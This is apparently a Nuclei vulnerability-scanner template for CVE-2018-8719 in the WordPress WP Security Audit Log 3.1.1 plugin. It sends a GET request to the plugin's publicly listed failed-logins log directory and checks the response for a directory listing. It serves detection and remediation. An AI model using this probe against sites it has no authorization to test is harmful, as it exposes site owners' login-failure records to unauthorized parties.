id: CVE-2018-8719

info:
  name: WordPress WP Security Audit Log 3.1.1 - Information Disclosure
  author: LogicalHunter
  severity: medium
  description: |
    WordPress WP Security Audit Log 3.1.1 plugin is susceptible to information disclosure. Access to wp-content/uploads/wp-security-audit-log/* files is not restricted. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the WordPress WP Security Audit Log plugin.
  remediation: |
    Update to the latest version of WordPress WP Security Audit Log plugin (3.1.2 or higher) to fix the information disclosure vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44371
    - https://vuldb.com/?id.115817
    - https://www.exploit-db.com/exploits/44371/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8719
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-8719
    cwe-id: CWE-532
    epss-score: 0.03177
    epss-percentile: 0.9019
    cpe: cpe:2.3:a:wpsecurityauditlog:wp_security_audit_log:3.1.1:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpsecurityauditlog
    product: wp_security_audit_log
    framework: wordpress
  tags: cve,cve2018,exposure,edb,wordpress,wp-plugin,wpsecurityauditlog

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp-security-audit-log/failed-logins/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "[TXT]"
          - ".log"
          - "Index of"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200bfe6f271147b79d93d598268d4cffdb5892583d30dbcada1cad9f7e1a973909022100ff263587c52e3feb5e26514030f4ca8dc8913cc3a31be0a13a140142eeda44c7:922c64590222798bb761d5b6d8e72950